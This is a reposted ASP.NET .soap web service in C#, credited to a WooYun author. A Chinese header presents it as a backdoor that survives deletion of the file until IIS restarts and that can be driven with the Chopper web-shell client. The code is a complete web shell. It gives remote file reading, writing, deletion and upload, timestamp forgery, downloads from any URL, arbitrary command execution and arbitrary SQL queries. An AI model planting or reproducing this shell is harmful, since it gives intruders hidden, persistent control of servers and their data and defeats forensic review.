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aa46988557
from : zone.wooyun.org author : RedFree 1、.soap文件只有放在web根目录时才能顺利调用，放到子目录中会报错！ 这个错误我并未解决，且待更深入的学习吧。。。 2、.soap调用一次后，即便把这个文件删除，方法依然存在且可调用，除非重启IIS！(很好的后门咩) 3、针对不同的.NET版本，以上代码有可能报错，可自行修改。 4、因无法搞定GET/POST传参的异常，如果要使用菜刀去连接，你需要写一个简单的中转脚本。
316 lines
13 KiB
Text
316 lines
13 KiB
Text
<%@ WebService Language="C#" Class="Control" %>
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using System;
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using System.Web;
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using System.IO;
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using System.Net;
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using System.Text;
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using System.Data;
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using System.Data.SqlClient;
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using System.Collections.Generic;
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using System.Diagnostics;
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using System.Web.SessionState;
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using System.Web.Services;
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using System.Xml;
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using System.Web.Services.Protocols;
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[WebService(Namespace = "http://www.wooyun.org/whitehats/RedFree")]
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[WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]
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[Serializable]
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public class Control : MarshalByRefObject
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{
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public Control()
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{
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}
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[WebMethod(Description="Customize Script")]
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public string Chopper(String z, String z1, String z2, String z3) {
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String Z = z;
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String result = "";
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if (Z != "")
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{
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String Z1 = z1;
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String Z2 = z2;
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String Z3 = z3;
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String R = "";
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try
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{
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switch (Z)
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{
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case "A":
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{
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String[] c = Directory.GetLogicalDrives();
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R = String.Format("{0}\t", HttpContext.Current.Server.MapPath("/"));
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for (int i = 0; i < c.Length; i++)
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R += c[i][0] + ":";
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break;
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}
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case "B":
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{
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DirectoryInfo m = new DirectoryInfo(Z1);
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foreach (DirectoryInfo D in m.GetDirectories())
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{
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R += String.Format("{0}/\t{1}\t0\t-\n", D.Name, File.GetLastWriteTime(Z1 + D.Name).ToString("yyyy-MM-dd hh:mm:ss"));
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}
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foreach (FileInfo D in m.GetFiles())
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{
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R += String.Format("{0}\t{1}\t{2}\t-\n", D.Name, File.GetLastWriteTime(Z1 + D.Name).ToString("yyyy-MM-dd hh:mm:ss"), D.Length);
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}
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break;
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}
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case "C":
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{
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StreamReader m = new StreamReader(Z1, Encoding.Default);
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R = m.ReadToEnd();
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m.Close();
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break;
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}
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case "D":
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{
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StreamWriter m = new StreamWriter(Z1, false, Encoding.Default);
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m.Write(Z2);
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R = "1";
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m.Close();
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break;
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}
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case "E":
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{
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if (Directory.Exists(Z1))
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{
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Directory.Delete(Z1, true);
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}
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else
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{
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File.Delete(Z1);
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}
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R = "1";
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break;
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}
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case "F":
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{
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result += "\x2D\x3E\x7C";
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HttpContext.Current.Response.WriteFile(Z1);
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result += "\x7C\x3C\x2D";
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return result;
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}
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case "G":
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{
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byte[] B=new byte[Z2.Length/2];
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for (int i=0;i<Z2.Length;i+=2)
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{
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B[i/2]=(byte)Convert.ToInt32(Z2.Substring(i,2),16);
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}
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if (Z3=="0" || Z3==null)
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{
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FileStream fs=new FileStream(Z1,FileMode.Create);
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fs.Write(B,0,B.Length);
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fs.Close();
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}
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else
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{
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FileStream fs=new FileStream(Z1,FileMode.Append);
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fs.Write(B,0,B.Length);
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fs.Close();
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}
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R="1";
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break;
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}
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case "H":
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{
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CP(Z1, Z2);
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R = "1";
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break;
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}
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case "I":
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{
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if (Directory.Exists(Z1))
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{
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Directory.Move(Z1, Z2);
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}
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else
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{
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File.Move(Z1, Z2);
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}
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break;
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}
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case "J":
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{
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Directory.CreateDirectory(Z1);
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R = "1";
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break;
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}
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case "K":
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{
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DateTime TM = Convert.ToDateTime(Z2);
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if (Directory.Exists(Z1))
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{
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Directory.SetCreationTime(Z1, TM);
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Directory.SetLastWriteTime(Z1, TM);
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Directory.SetLastAccessTime(Z1, TM);
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}
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else
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{
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File.SetCreationTime(Z1, TM);
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File.SetLastWriteTime(Z1, TM);
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File.SetLastAccessTime(Z1, TM);
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}
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R = "1";
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break;
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}
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case "L":
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{
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HttpWebRequest RQ = (HttpWebRequest)WebRequest.Create(new Uri(Z1));
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RQ.Method = "GET";
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RQ.ContentType = "application/x-www-form-urlencoded";
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HttpWebResponse WB = (HttpWebResponse)RQ.GetResponse();
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Stream WF = WB.GetResponseStream();
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FileStream FS = new FileStream(Z2, FileMode.Create, FileAccess.Write);
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int i;
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byte[] buffer = new byte[1024];
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while (true)
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{
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i = WF.Read(buffer, 0, buffer.Length);
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if (i < 1)
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{
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break;
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}
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FS.Write(buffer, 0, i);
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}
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WF.Close();
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WB.Close();
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FS.Close();
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R = "1";
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break;
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}
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case "M":
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{
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ProcessStartInfo c = new ProcessStartInfo(Z1.Substring(2));
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Process e = new Process();
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StreamReader OT, ER;
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c.UseShellExecute = false;
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c.RedirectStandardOutput = true;
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c.RedirectStandardError = true;
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e.StartInfo = c;
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c.Arguments = String.Format("{0} {1}", Z1.Substring(0, 2), Z2);
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e.Start();
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OT = e.StandardOutput;
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ER = e.StandardError;
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e.Close();
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R = OT.ReadToEnd() + ER.ReadToEnd();
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break;
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}
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case "N":
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{
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String strDat = Z1.ToUpper();
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SqlConnection Conn = new SqlConnection(Z1);
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Conn.Open();
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R = Conn.Database + "\t";
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Conn.Close();
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break;
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}
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case "O":
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{
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String[] x = Z1.Replace("\r", "").Split('\n');
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String strConn = x[0], strDb = x[1];
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SqlConnection Conn = new SqlConnection(strConn);
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Conn.Open();
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DataTable dt = Conn.GetSchema("Columns");
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Conn.Close();
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for (int i = 0; i < dt.Rows.Count; i++)
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{
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R += String.Format("{0}\t", dt.Rows[i][2].ToString());
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}
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break;
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}
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case "P":
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{
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String[] x = Z1.Replace("\r", "").Split('\n'), p = new String[4];
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String strConn = x[0], strDb = x[1], strTable = x[2];
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p[0] = strDb;
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p[2] = strTable;
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SqlConnection Conn = new SqlConnection(strConn);
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Conn.Open();
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DataTable dt = Conn.GetSchema("Columns", p);
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Conn.Close();
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for (int i = 0; i < dt.Rows.Count; i++)
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{
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R += String.Format("{0} ({1})\t", dt.Rows[i][3].ToString(), dt.Rows[i][7].ToString());
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}
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break;
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}
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case "Q":
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{
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String[] x = Z1.Replace("\r", "").Split('\n');
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String strDat, strConn = x[0], strDb = x[1];
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int i, c;
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strDat = Z2.ToUpper();
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SqlConnection Conn = new SqlConnection(strConn);
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Conn.Open();
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if (strDat.IndexOf("SELECT ") == 0 || strDat.IndexOf("EXEC ") == 0 || strDat.IndexOf("DECLARE ") == 0)
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{
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SqlDataAdapter OD = new SqlDataAdapter(Z2, Conn);
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DataSet ds = new DataSet();
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OD.Fill(ds);
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if (ds.Tables.Count > 0)
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{
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DataRowCollection rows = ds.Tables[0].Rows;
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for (c = 0; c < ds.Tables[0].Columns.Count; c++)
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{
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R += String.Format("{0}\t|\t", ds.Tables[0].Columns[c].ColumnName.ToString());
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}
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R += "\r\n";
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for (i = 0; i < rows.Count; i++)
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{
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for (c = 0; c < ds.Tables[0].Columns.Count; c++)
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{
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R += String.Format("{0}\t|\t", rows[i][c].ToString());
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}
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R += "\r\n";
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}
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}
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ds.Clear();
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ds.Dispose();
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}
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else
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{
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SqlCommand cm = Conn.CreateCommand();
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cm.CommandText = Z2;
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cm.ExecuteNonQuery();
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R = "Result\t|\t\r\nExecute Successfully!\t|\t\r\n";
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}
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Conn.Close();
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break;
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}
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default: goto End;
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}
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}
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catch (Exception E)
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{
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R = "ERROR:// " + E.Message;
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}
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result += "\x2D\x3E\x7C" + R + "\x7C\x3C\x2D";
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End: ;
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}
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return result;
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}
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public void CP(String S, String D)
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{
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if (Directory.Exists(S))
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{
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DirectoryInfo m = new DirectoryInfo(S);
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Directory.CreateDirectory(D);
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foreach (FileInfo F in m.GetFiles())
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{
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File.Copy(S + "\\" + F.Name, D + "\\" + F.Name);
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}
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foreach (DirectoryInfo F in m.GetDirectories())
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{
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CP(S + "\\" + F.Name, D + "\\" + F.Name);
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}
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}
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else
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{
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File.Copy(S, D);
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}
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}
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}
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